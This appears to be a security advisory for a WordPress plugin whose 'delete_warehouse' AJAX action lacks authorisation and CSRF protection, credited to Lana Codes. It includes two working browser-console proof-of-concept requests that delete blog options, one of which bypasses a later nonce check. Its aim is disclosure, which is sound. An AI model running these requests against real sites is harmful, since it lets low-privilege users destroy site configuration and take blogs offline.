The plugin does not have authorisation and CSRF in an AJAX action, which could allow any authenticated users, such as subscriber to delete arbitrary options from the blog, which could make the blog unavailable.
Run the below command in the developer console of the web browser while being on the blog as any user to delete the blog options with ID 4 (usually the blogdescription): fetch('/wp-admin/admin-ajax.php', { method: 'POST', headers: new Headers({ 'Content-Type': 'application/x-www-form-urlencoded', }), body: 'action=delete_warehouse&option_id=4' }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error)); Note: In 1.2.11, a CSRF check was added but the nonce is available to any authenticated user via the admin_ajax_nonce JS variable in the backend (below command to be ran when logged in as a subscriber, from the Profile page, ie /wp-admin/profile.php): fetch('/wp-admin/admin-ajax.php', { method: 'POST', headers: new Headers({ 'Content-Type': 'application/x-www-form-urlencoded', }), body: 'action=delete_warehouse&option_id=4&admin_ajax_nonce=' + wc_dpd_baltic['admin_ajax_nonce'] }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));
Lana Codes
Lana Codes
Yes
2022-11-21 (about 10 months ago)
2022-11-21 (about 10 months ago)
2023-02-03 (about 7 months ago)